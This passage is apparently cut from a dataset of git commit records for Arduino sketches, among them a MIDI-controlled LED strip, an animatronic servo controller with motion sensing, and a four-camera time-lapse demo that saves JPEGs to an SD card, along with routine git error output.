https:\/\/i.imgur.com\/d4QRXhe.jpg\n\/\/\n\/\/ Marc Miller, June 2018\n\/\/***************************************************************\n\n#include <MIDI.h> \/\/ Add Midi Library\nMIDI_CREATE_DEFAULT_INSTANCE();\n\n#include \"FastLED.h\" \/\/ Add FastLED library\n#define LED_TYPE WS2812B\n#define COLOR_ORDER GRB \/\/ GRB for Neopixel\n#define DATA_PIN 11\n#define NUM_LEDS 12\nCRGB leds[NUM_LEDS];\n#define BRIGHTNESS 32\n\nint led = 13; \/\/ pin for MCU's onboard LED\n\nuint8_t count;\nuint8_t hue;\n\n\n\/\/---------------------------------------------------------------\nvoid blinkyblink() {\n digitalWrite(led, HIGH); delay(50);\n digitalWrite(led, LOW); delay(30);\n digitalWrite(led, HIGH); delay(20);\n digitalWrite(led, LOW);\n}\n\n\n\/\/---------------------------------------------------------------\nvoid solidFill(uint16_t color) {\n if (color > 255) {\n fill_solid( leds, NUM_LEDS, CHSV(random8(),255,255) ); \/\/pick random color\n } else {\n color = (uint8_t)color; \/\/convert 16bit to 8bit\n fill_solid( leds, NUM_LEDS, CHSV(color,255,255) ); \/\/fill with sent hue\n }\n FastLED.show();\n}\n\nvoid spinColor(uint8_t color) {\n EVERY_N_MILLISECONDS(120) {\n fadeToBlackBy(leds, NUM_LEDS, 100);\n leds[count] = CHSV(color, random8(150,255), 255);\n FastLED.show();\n count++;\n if (count == NUM_LEDS) { count = 0; }\n }\n}\n\nvoid clearAll() { \/\/ turn off all pixels\n FastLED.clear();\n FastLED.show();\n blinkyblink(); \n}\n\n\n\/\/---------------------------------------------------------------\nvoid HandleNoteOn(byte channel, byte pitch, byte velocity){\n if (velocity > 0){\n \/\/ check for specific notes\n if(pitch <= 50) { clearAll(); }\n else if(pitch == 51) { solidFill(888); }\n else if(pitch == 52) { solidFill(888); }\n else if(pitch == 53) { solidFill(hue); }\n else if(pitch == 54) { spinColor(0); }\n else if(pitch == 55) { solidFill(hue); }\n else if(pitch == 56) { spinColor(96); }\n else if(pitch == 57) { solidFill(hue); }\n else if(pitch == 58) { spinColor(160); }\n else if(pitch == 59) { solidFill(0); }\n else if(pitch == 60) { solidFill(96); }\n else if(pitch == 61) { clearAll(); }\n else if(pitch == 62) { solidFill(160); }\n else if(pitch == 63) { solidFill(888); }\n else if(pitch == 64) { solidFill(888); }\n else if(pitch == 65) {\n \/\/if (velocity > 128) {\n \/\/ try something extra here based on velocity;\n \/\/} \n solidFill(888);\n }\n else if(pitch >= 66) { clearAll(); }\n }\n}\n\n\n\/\/---------------------------------------------------------------\nvoid setup(){\n Serial1.begin(31250); \/\/using MIDI baud rate but could be something faster\n delay(1000);\n pinMode(led, OUTPUT);\n blinkyblink(); \/\/check onboard LED\n\n FastLED.addLeds<LED_TYPE, DATA_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n fill_solid(leds, NUM_LEDS, CRGB(32,0,0)); FastLED.show(); delay(333);\n fill_solid(leds, NUM_LEDS, CRGB(0,32,0)); FastLED.show(); delay(333);\n fill_solid(leds, NUM_LEDS, CRGB(0,0,32)); FastLED.show(); delay(333);\n FastLED.clear();\n FastLED.show();\n \n MIDI.begin(MIDI_CHANNEL_OMNI);\n MIDI.setHandleNoteOn(HandleNoteOn); \/\/ Initiates HandleNoteOn function\n\n blinkyblink(); delay(100); blinkyblink(); delay(100); blinkyblink();\n Serial.println(\"Setup done. \\n\");\n}\/\/end_setup\n\n\n\/\/---------------------------------------------------------------\nvoid loop(){\n MIDI.read(); \/\/ Tells Arduino to start listening for midi info on the serial RX pin.\n\n EVERY_N_MILLISECONDS(30) {\n hue++;\n }\n \n}\/\/end_main_loop\n\n\n\/\/---------------------------------------------------------------\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MIDI_test_v1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3532e8c05431cf3645aa85825229f18a78d04bb9","subject":"Sensorscript","message":"Sensorscript\n\nSensorscript\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"Sensorscript.ino","new_file":"Sensorscript.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0362efd1df7ed53ce0528ac23e03726e92671db4","subject":"Uploaded robot controller code","message":"Uploaded robot controller code\n\nStephen's current state controller.","repos":"m2ware\/Arduino-Code","old_file":"ServoController.ino","new_file":"ServoController.ino","new_contents":"\/* Servo automation\n\n created 2014\n by Jeff Moore\n *\/\n \n\/\/#include <LiquidCrystal.h>\n\n \/\/ constants won't change. Used here to set pin numbers:\n \/\/ Pin 13: Arduino has an LED connected on pin 13\n \/\/ Pin 13: Teensy 3.0 has the LED on pin 13\nconst int ledPin = 13; \/\/ the number of the LED pin\nconst int lookEnablePin = 19;\nconst int pwmPin = 20;\nconst int jawPin = 21;\nconst int motionPin = 11;\nconst int motionModulus = 100;\nint motionTimer=0;\n\/\/const int motionDetectedPin = 10;\n\nconst int ledRedPin = 3;\nconst int ledGreenPin = 4;\nconst int ledBluePin = 5;\n\nconst byte soundBankPin[4] = {7,8,9,10};\n#define SOUNDBANK0 3\n#define SOUNDBANK1 3\n#define SOUNDBANK2 3\n#define SOUNDBANK3 3\nconst int numSoundPins = 4;\n\nbool lookEnabled = true;\nbool jawOpen = true;\nbool chatterOn = false;\n\nenum LookMode { \n Pause = 0,\n SlowLook = 1,\n Neutral = 2,\n Shake = 3,\n RandomLook = 4,\n FastShake = 5,\n LeftRight = 6\n} lookMode, previousMode;\n\ntypedef enum LcdPinEnum {\n Pin8_RS = 9,\n Pin9_Enable = 10,\n Pin4_DB4 = 16,\n Pin5_DB5 = 15,\n Pin6_DB6 = 19, \n Pin7_DB7 = 22\n} LcdPinEnum;\n\/\/LiquidCrystal lcd(Pin8_RS, Pin9_Enable, Pin4_DB4, Pin5_DB5, Pin6_DB6, Pin7_DB7);\n\nconst byte colors[9][3] = {\n { 0, 0, 0 }, \/\/ black\n { 180, 255, 255 }, \/\/ white\n { 255, 0, 0 }, \/\/ red\n { 0, 255, 0 }, \/\/ green\n { 0, 0, 255 }, \/\/ blue\n { 140, 255, 0 }, \/\/ yellow\n { 140, 0, 255 }, \/\/ purple\n { 0, 255, 255 }, \/\/ cyan\n { 200, 240, 0 } \/\/ orange\n}; \n \nenum ColorMap {\n Black = 0,\n White = 1,\n Red = 2,\n Green = 3,\n Blue = 4,\n Yellow = 5,\n Purple = 6,\n Cyan = 7,\n Orange = 8 \n} colorMap;\n\nconst int nColors = 9;\n\nbyte color[3] = {32, 64, 0};\nbyte targetColor[3] = {32, 64, 0};\n\n\/\/ Frequency of PWM signal\nconst int f0 = 196;\nconst double T0Us = 1000000 \/ (255*f0);\n\n\/\/ Min\/max guardrails for PWM \n\/\/ Converted to pulse width (normalized) 0-255\nconst int tMinUs = 900; \/\/ min pulse width uS\nconst int tMaxUs = 2100; \/\/ max pulse width uS\nconst int tNeutral = 1500;\n\nconst int posMax = tMaxUs \/ T0Us;\nconst int posMin = tMinUs \/ T0Us;\n\/\/const int posNeutral = (255*f0)\/666;\n\/\/const int posNeutral = (posMax+posMin)\/2;\nconst int posNeutral = tNeutral \/ T0Us;\n\nconst int jawNeutralPos = tNeutral \/ T0Us;\nconst int jawOpenPos = 1100 \/ T0Us;\nconst int jawClosedPos = 1600 \/ T0Us;\n\nint chatterWaitMs = 50;\n\nconst int delta = 300;\n\nint timerModulus = 50;\nint ledModulus = 5;\nint motionCooldown = 0;\nint motionDetectCounter = 0;\nconst int cooldownTimeMs = 750;\n\nint agitation = 0;\nint cyclesOnState = 0;\nint cyclesOnPreviousState = 0;\nint minPauseCycles = 5;\n\ntypedef enum KeypadButtonEnum {\n BtnNone = 0,\n BtnUp = 1,\n BtnDown = 2,\n BtnLeft = 3,\n BtnRight = 4,\n BtnSelect= 5\n} KeypadButton;\n\nKeypadButton keypadButton;\n\n\/\/ Counter \nint pwmCounter = 0;\nint duration = 2;\nint dutyCycle = 0;\n\nint pauseCounter = 0;\n\nint position = (posMin+posMax)\/2;\nint newPos = position;\n\nint slowCounter = 0;\n\nboolean goLeft = 0;\n\nboolean modeUp = 0;\nint ledState = LOW; \/\/ ledState used to set the LED\nlong previousMillis = 0; \/\/ will store last time LED was updated\n\n\/\/ the follow variables is a long because the time, measured in miliseconds,\n\/\/ will quickly become a bigger number than can be stored in an int.\nlong interval = 75; \/\/ interval at which to blink (milliseconds)\n\nvoid setColorTo(byte *toRgb, const byte *fromRgb, const byte divider = 1);\nvoid setColorRgb(const byte *rgb, const byte divider = 1);\n\nvoid setup() {\n\n \/\/delay(2000);\n pinMode(ledPin, OUTPUT);\n pinMode(pwmPin, OUTPUT);\n pinMode(jawPin, OUTPUT);\n \/\/pinMode(extLedPin, OUTPUT);\n pinMode(motionPin, INPUT);\n pinMode(lookEnablePin, INPUT);\n \/\/pinMode(motionDetectedPin, OUTPUT);\n pinMode(ledRedPin, OUTPUT);\n pinMode(ledGreenPin, OUTPUT);\n pinMode(ledBluePin, OUTPUT);\n \n analogWriteFrequency(pwmPin, f0);\n analogWriteFrequency(jawPin, f0);\n \/\/digitalWrite(extLedPin, HIGH);\n\n initSoundPins();\n \n Serial.print(\"Min: \");\n Serial.println(posMin);\n Serial.print(\"Max: \");\n Serial.println(posMax);\n Serial.println(\"XXXX\");\n\n lookMode = SlowLook;\n previousMode = SlowLook;\n changeModeTo( SlowLook );\n}\n\nvoid initSoundPins()\n{\n for (int i = 0; i < numSoundPins; i++)\n {\n pinMode(soundBankPin[i], OUTPUT);\n digitalWrite(soundBankPin[i],HIGH);\n }\n}\n\nvoid triggerSound(int soundBank)\n{\n Serial.print(\"Triggering bank #\");\n Serial.print(soundBank);\n Serial.print(\" on pin \");\n Serial.println(soundBankPin[soundBank]);\n digitalWrite(soundBankPin[soundBank],LOW);\n delay(200);\n digitalWrite(soundBankPin[soundBank],HIGH);\n}\n\nvoid ledBlink()\n{\n if (ledState == LOW)\n {\n ledState = HIGH;\n }\n else \n {\n ledState = LOW;\n }\n}\n\nvoid pauseLook(int nCycles)\n{\n minPauseCycles = nCycles;\n changeModeTo(Pause);\n}\n\nvoid randomizeLookTarget()\n{\n newPos = posMin + random(1+posMax-posMin);\n Serial.print(\"[TGT:\");\n Serial.print(newPos);\n Serial.print(\"]\");\n}\n\nvoid steer()\n{\n if ( position == newPos )\n {\n pauseLook(5+random(5));\n \/\/if (previousMode == RandomLook && random(4) < 1) chatterOn = true;\n }\n}\n\nvoid steerLeftRight(int slowCounterDelay)\n{\n if (slowCounter++ >= slowCounterDelay)\n {\n \/\/if ( random(10) < 1) pauseLook(random(20));\n if (goLeft) \n {\n \/\/newPos = posMin;\n newPos = posNeutral + delta;\n goLeft = false;\n } else {\n \/\/newPos = posMax;\n newPos = posNeutral - delta;\n goLeft = true;\n }\n slowCounter = 0;\n } \n}\n\nvoid shake()\n{\n if (slowCounter++ >= 1)\n { \n if (goLeft)\n {\n newPos = posNeutral-delta;\n slowCounter = 0;\n goLeft = false;\n } else {\n newPos = posNeutral+delta;\n goLeft = true;\n }\n slowCounter = 0;\n }\n}\n\nvoid steerNeutral()\n{\n newPos = posNeutral;\n}\n\nvoid changeModeTo(int newModeInt)\n{\n cyclesOnPreviousState = cyclesOnState;\n cyclesOnState = 0;\n jawStill();\n \n LookMode newMode = (LookMode) newModeInt;\n previousMode = lookMode;\n lookMode = newMode;\n \n Serial.flush();\n Serial.println(\"\");\n Serial.print(\"[PrMode:\");\n Serial.print(previousMode);\n Serial.print(\"]\");\n Serial.print(\"[LkMode:\");\n Serial.print(lookMode);\n Serial.println(\"]\");\n Serial.flush();\n \n \/\/switch (lookMode)\n switch (newModeInt)\n {\n case Pause:\n timerModulus = 40;\n setColorTo( targetColor, targetColor, 3);\n break;\n case SlowLook:\n timerModulus = 40;\n agitation=0;\n setColorTo( targetColor, colors[ random(nColors-2)+1 ], 16 );\n randomizeLookTarget();\n break;\n case RandomLook:\n timerModulus = 15;\n if (random(3) < 1) triggerSound(SOUNDBANK2);\n setColorTo( targetColor, colors[ random(nColors-2)+1 ], 3 );\n randomizeLookTarget();\n break;\n case LeftRight:\n timerModulus = 20;\n triggerSound(SOUNDBANK1);\n setColorTo( targetColor, colors[ Orange ], 2 );\n break;\n case FastShake:\n timerModulus = 10;\n triggerSound(SOUNDBANK3);\n setColorTo( targetColor, colors[ Cyan ], 1 );\n chatterOn = true;\n break;\n case Shake:\n timerModulus = 25;\n triggerSound(SOUNDBANK1);\n setColorTo( targetColor, colors[ random(nColors-2)+1 ], 3 );\n break;\n case Neutral:\n timerModulus = 15;\n setColorTo( targetColor, colors[ Purple ] , 4);\n triggerSound(SOUNDBANK0);\n \/\/steerNeutral();\n break;\n default:\n setColorTo( targetColor, colors[ Orange ], 16);\n \n }\n}\n\nvoid updateState()\n{\n switch (lookMode) \n {\n case SlowLook:\n steer();\n break;\n case RandomLook:\n if ( (cyclesOnState > 15) && random(2)<1 ) changeModeTo(SlowLook);\n steer();\n break;\n case LeftRight:\n steerLeftRight(1);\n if ( cyclesOnState > 10 && random(10)< 1) changeModeTo(RandomLook);\n break;\n case FastShake:\n steerLeftRight(0);\n if ( cyclesOnState > 8 && random(10) < 1) changeModeTo(RandomLook);\n break;\n case Shake:\n steerLeftRight(0);\n if ( cyclesOnState > 15 && random(10)< 1) changeModeTo(SlowLook);\n break;\n case Pause:\n \/\/Serial.print(\".\");\n if ( previousMode == Pause ) previousMode = SlowLook;\n if ( cyclesOnState > minPauseCycles) \n {\n int tmpPrevCyclesOnState = cyclesOnPreviousState;\n changeModeTo(previousMode);\n cyclesOnState = tmpPrevCyclesOnState;\n }\n break;\n case Neutral:\n steerNeutral();\n if ( cyclesOnState > 10 && random(10) < 1 ) changeModeTo(SlowLook);\n break;\n default:\n changeModeTo(SlowLook);\n break; \n }\n \n cyclesOnState++;\n}\n\nvoid checkForMotion()\n{\n if ((++motionTimer)%motionModulus !=0) return;\n motionTimer = 0;\n if (motionCooldown > 0) \n {\n motionCooldown -= motionModulus;\n \/\/motionCooldown--;\n if (motionCooldown<=0) \n {\n if (digitalRead(motionPin)==LOW) \n {\n Serial.println(\"Cooldown reached - looking for motion...\");\n } else {\n motionCooldown = 2*motionModulus; \/\/ wait another X ms\n }\n } \n return;\n }\n if (digitalRead(motionPin)==HIGH)\n {\n Serial.println(\"Motion detected!\");\n motionDetectCounter++;\n Serial.print(\"MotionCounter=\");\n Serial.println(motionDetectCounter);\n motionCooldown = cooldownTimeMs;\n \/\/Serial.println(\"Neutral \/ min \/ max\");\n \/\/Serial.println(posNeutral);\n \/\/Serial.println(posMin);\n \/\/Serial.println(posMax);\n \n if (lookMode < FastShake)\n {\n if (lookMode == Pause) changeModeTo(previousMode+1);\n else changeModeTo(lookMode+1);\n\n if (lookMode == FastShake)\n {\n agitation++;\n Serial.print(\"Agitation : \");\n Serial.println(agitation);\n if (agitation > 3)\n {\n Serial.println(\"Calm down, monkey.\");\n changeModeTo(SlowLook);\n agitation=0;\n }\n }\n } \n }\n}\n\nvoid pwmControl()\n{\n dutyCycle++;\n if ( dutyCycle % 256 == 0 ) updateState();\n\n \/\/Serial.print(\"blook\");\n \n if ( dutyCycle % timerModulus == 0)\n {\n \/\/dutyCycle = 0;\n if (position < (newPos))\n {\n position++;\n analogWrite(pwmPin, position);\n \/\/Serial.print(\"+\");\n }\n else if (position > (newPos))\n {\n position--;\n analogWrite(pwmPin, position);\n \/\/Serial.print(\"-\");\n } else \n {\n analogWrite(pwmPin, 0);\n }\n }\n}\n\nvoid setColor(byte red, byte green, byte blue, byte divider)\n{\n analogWrite(ledRedPin, (char) (red\/divider));\n analogWrite(ledGreenPin, (char) (green\/divider));\n analogWrite(ledBluePin, (char) (blue\/divider));\n}\n\nvoid setColorRgb(const byte *rgb, byte divider)\n{\n setColor(rgb[0], rgb[1], rgb[2], divider);\n}\n\nvoid setColorTo(byte *toRgb, const byte *fromRgb, const byte divider)\n{\n toRgb[0] = fromRgb[0]\/divider;\n toRgb[1] = fromRgb[1]\/divider;\n toRgb[2] = fromRgb[2]\/divider;\n\n \/\/ St. Patty's\n toRgb[1] = 255\/divider;\n}\n\nboolean rgbEqual(const byte *rgb1, const byte *rgb2)\n{\n return ( rgb1[0] == rgb2[0] &&\n rgb1[1] == rgb2[1] &&\n rgb1[2] == rgb2[2] );\n}\n\nvoid adjustColor()\n{\n if ( color[0] < targetColor[0] ) color[0]++;\n if ( color[0] > targetColor[0] ) color[0]--;\n if ( color[1] < targetColor[1] ) color[1]++;\n if ( color[1] > targetColor[1] ) color[1]--;\n if ( color[2] < targetColor[2] ) color[2]++;\n if ( color[2] > targetColor[2] ) color[2]--;\n}\n\nvoid chaseColors()\n{\n if ( (dutyCycle % (50) == 0) &&\n !rgbEqual(color, targetColor) )\n {\n adjustColor();\n setColorRgb(color);\n } else { }\n}\n\nvoid checkLookEnablePinState()\n{\n if ( dutyCycle % 10 != 0) return;\n int pinState = digitalRead(lookEnablePin);\n if ( lookEnabled == true && pinState == LOW)\n {\n lookEnabled = false;\n Serial.println(\"Look mode deactivated.\");\n }\n if ( lookEnabled == false && pinState == HIGH)\n {\n lookEnabled = true;\n Serial.println(\"Look mode enabled.\");\n }\n}\n\n\nvoid jawStill()\n{\n analogWrite(jawPin, 0);\n chatterOn = false;\n}\n\nvoid chatter()\n{\n if (!chatterOn) return;\n \/\/if (chatterWaitMs < 500) analogWrite(jawPin,0);\n\n if (chatterWaitMs-- < 1) \n {\n \/\/chatterWaitMs = 70+random(10);\n chatterWaitMs = 200+random(50);\n \/\/Serial.println(chatterWaitMs);\n if (jawOpen)\n {\n \/\/Serial.println(\"Open\");\n analogWrite(jawPin, jawClosedPos);\n \/\/analogWrite(jawPin,jawNeutralPos);\n jawOpen = false;\n } else {\n \/\/Serial.println(\"Close\");\n analogWrite(jawPin, jawOpenPos);\n jawOpen = true;\n }\n \/\/Serial.flush();\n }\n}\n\n\n\/\/ Main control loop\nvoid loop()\n{ \n delay(1);\n pwmControl();\n chatter();\n checkForMotion();\n chaseColors();\n \/\/checkLookEnablePinState();\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ServoController.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4d87f8573701e5e1a9b7cba3c6d1197f291743ec","subject":"Add 4 camera time elapse demo low power mode","message":"Add 4 camera time elapse demo low power mode\n","repos":"Oitzu\/Arduino,Oitzu\/Arduino,ArduCAM\/Arduino,ArduCAM\/Arduino,Oitzu\/Arduino,ArduCAM\/Arduino","old_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD_LowPower\/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD_LowPower.ino","new_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD_LowPower\/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD_LowPower.ino","new_contents":"\/\/ ArduCAM demo (C)2015 Lee\n\/\/ web: http:\/\/www.ArduCAM.com\n\/\/ This program is a demo of how to use most of the functions\n\/\/ of the library with a supported camera modules, and can run on any Arduino platform.\n\/\/\n\/\/ This demo was made for ArduCAM Mini 2MP camera module.\n\/\/ It will run 4 ArduCAM Mini 2MP moduels in low power mode and take time elapse images every 5 seconds.\n\/\/ The demo sketch will do the following tasks:\n\/\/ 1. Set the sensor to JPEG mode and power down all the cameras.\n\/\/ 2. Power up all cameras and capture 4 image from 4 cameras simultaneously and buffer the image to FIFO, then power down all the cameras after capture completion.\n\/\/ 3. Store the image to Micro SD\/TF card with JPEG format in sequential.\n\/\/ 4. Resolution can be changed by myCAM.set_JPEG_size() function.\n\/\/ This program requires the ArduCAM V3.4.0 (or later) library and ArduCAM Mini 2MP shield\n\/\/ and use Arduino IDE 1.5.2 compiler or above\n#include <Wire.h>\n#include <ArduCAM.h>\n#include <SPI.h>\n#include <SD.h>\/\/\/\/\/\/\/\/\/\/\/\n#include \"memorysaver.h\"\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#define SD_CS 9\n#if defined(__arm__)\n#include <itoa.h>\n#endif\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst int CS1 = 4;\nconst int CS2 = 5;\nconst int CS3 = 6;\nconst int CS4 = 7;\nbool cam1 = true, cam2 = true, cam3 = true, cam4 = true;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nArduCAM myCAM1(OV2640, CS1);\nArduCAM myCAM2(OV2640, CS2);\nArduCAM myCAM3(OV2640, CS3);\nArduCAM myCAM4(OV2640, CS4);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n uint8_t vid, pid;\n uint8_t temp;\n#if defined (__AVR__)\n Wire.begin();\n#endif\n#if defined(__arm__)\n Wire1.begin();\n#endif\n Serial.begin(115200);\n Serial.println(\"ArduCAM Start!\");\n\n \/\/ set the SPI_CS as an output:\n pinMode(CS1, OUTPUT);\n pinMode(CS2, OUTPUT);\n pinMode(CS3, OUTPUT);\n pinMode(CS4, OUTPUT);\n\n \/\/ initialize SPI:\n SPI.begin();\n \/\/Check if the ArduCAM SPI bus is OK\n myCAM1.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM1.read_reg(ARDUCHIP_TEST1);\n if (temp != 0x55)\n {\n Serial.println(\"SPI1 interface Error!\");\n cam1 = false;\n \/\/while(1);\n }\n\n myCAM2.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM2.read_reg(ARDUCHIP_TEST1);\n \/\/Serial.println(temp);\n if (temp != 0x55)\n {\n Serial.println(\"SPI2 interface Error!\");\n cam2 = false;\n \/\/while(1);\n }\n\n myCAM3.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM3.read_reg(ARDUCHIP_TEST1);\n \/\/Serial.println(temp);\n if (temp != 0x55)\n {\n Serial.println(\"SPI3 interface Error!\");\n cam3 = false;\n \/\/while(1);\n }\n\n myCAM4.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM4.read_reg(ARDUCHIP_TEST1);\n \/\/Serial.println(temp);\n if (temp != 0x55)\n {\n Serial.println(\"SPI4 interface Error!\");\n cam4 = false;\n \/\/while(1);\n }\n\n \/\/Check if the camera module type is OV2640\n myCAM1.wrSensorReg8_8(0xFF, 0x01);\n myCAM1.rdSensorReg8_8(OV2640_CHIPID_HIGH, &vid);\n myCAM1.rdSensorReg8_8(OV2640_CHIPID_LOW, &pid);\n\n if ((vid != 0x26) || (pid != 0x42))\n Serial.println(\"Can't find OV2640 module!\");\n else\n Serial.println(\"OV2640 detected\");\n\n \/\/Change to JPEG capture mode and initialize the OV2640 module\n myCAM1.set_format(JPEG);\n myCAM1.InitCAM();\n myCAM1.OV2640_set_JPEG_size(OV2640_1600x1200);\n myCAM1.clear_fifo_flag();\n myCAM1.write_reg(ARDUCHIP_FRAMES, 0x00);\n \n myCAM1.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\/\/enable low power\n myCAM2.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\/\/enable low power\n myCAM3.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\/\/enable low power\n myCAM4.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\/\/enable low power\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (!SD.begin(SD_CS))\n {\n \/\/while (1);\t\t\/\/If failed, stop here\n Serial.println(\"SD Card Error\");\n }\n else\n Serial.println(\"SD Card detected!\");\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n uint8_t temp, temp_last;\n uint8_t start_capture = 0;\n\n delay(4000);\n myCAM1.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK); \/\/Power up Camera\n myCAM2.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK); \/\/Power up Camera\n myCAM3.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK); \/\/Power up Camera\n myCAM4.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK); \/\/Power up Camera\n delay(1000);\n myCAM1.flush_fifo();\n myCAM2.flush_fifo();\n myCAM3.flush_fifo();\n myCAM4.flush_fifo();\n \/\/Clear the capture done flag\n myCAM1.clear_fifo_flag();\n \/\/Start capture\n myCAM1.start_capture();\n \/\/Clear the capture done flag\n myCAM2.clear_fifo_flag();\n \/\/Start capture\n myCAM2.start_capture();\n \/\/Clear the capture done flag\n myCAM3.clear_fifo_flag();\n \/\/Start capture\n myCAM3.start_capture();\n \/\/Clear the capture done flag\n myCAM4.clear_fifo_flag();\n \/\/Start capture\n myCAM4.start_capture();\n\n\n while (!myCAM1.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam1);\n while (!myCAM2.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam2);\n while (!myCAM3.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam3);\n while (!myCAM4.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam4);\n \n myCAM1.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\/\/enable low power\n myCAM2.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\/\/enable low power\n myCAM3.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\/\/enable low power\n myCAM4.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\/\/enable low power\n \n if (cam1 == true)\n {\n Serial.println(\"CAM1 Capture Done!\");\n read_fifo_burst(myCAM1);\n \/\/Clear the capture done flag\n myCAM1.clear_fifo_flag();\n }\n \n if (cam2 == true)\n {\n Serial.println(\"CAM2 Capture Done!\");\n read_fifo_burst(myCAM2);\n \/\/Clear the capture done flag\n myCAM2.clear_fifo_flag();\n }\n \n if (cam3 == true)\n {\n Serial.println(\"CAM3 Capture Done!\");\n read_fifo_burst(myCAM3);\n \/\/Clear the capture done flag\n myCAM3.clear_fifo_flag();\n }\n \n if (cam4 == true)\n {\n Serial.println(\"CAM4 Capture Done!\");\n read_fifo_burst(myCAM4);\n \/\/Clear the capture done flag\n myCAM4.clear_fifo_flag();\n }\n}\n\nuint8_t read_fifo_burst(ArduCAM myCAM)\n{\n uint8_t temp, temp_last;\n uint32_t length = 0;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n char str[8];\n File outFile;\n byte buf[256];\n static int k = 0;\n static int i = 0;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/Construct a file name\n k = k + 1;\n itoa(k, str, 10);\n strcat(str, \".jpg\");\n \/\/Open the new file\n outFile = SD.open(str, O_WRITE | O_CREAT | O_TRUNC);\n if (! outFile)\n {\n Serial.println(\"open file failed\");\n \/\/return;\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n length = myCAM.read_fifo_length();\n if (length >= 393216) \/\/384 kb\n {\n Serial.println(\"Not found the end.\");\n return 0;\n }\n \/\/Serial.println(length);\n i = 0;\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\n SPI.transfer(0x00);\/\/First byte is 0xC0 ,not 0xff\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n while ( (temp != 0xD9) | (temp_last != 0xFF))\n {\n temp_last = temp;\n temp = SPI.transfer(0x00);\n\n \/\/Write image data to buffer if not full\n if (i < 256)\n buf[i++] = temp;\n else\n {\n \/\/Write 256 bytes image data to file\n myCAM.CS_HIGH();\n outFile.write(buf, 256);\n i = 0;\n buf[i++] = temp;\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\n }\n }\n \/\/Write the remain bytes in the buffer\n if (i > 0)\n {\n myCAM.CS_HIGH();\n outFile.write(buf, i);\n }\n \/\/Close the file\n outFile.close();\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n}\n","old_contents":"","returncode":1,"stderr":"error: 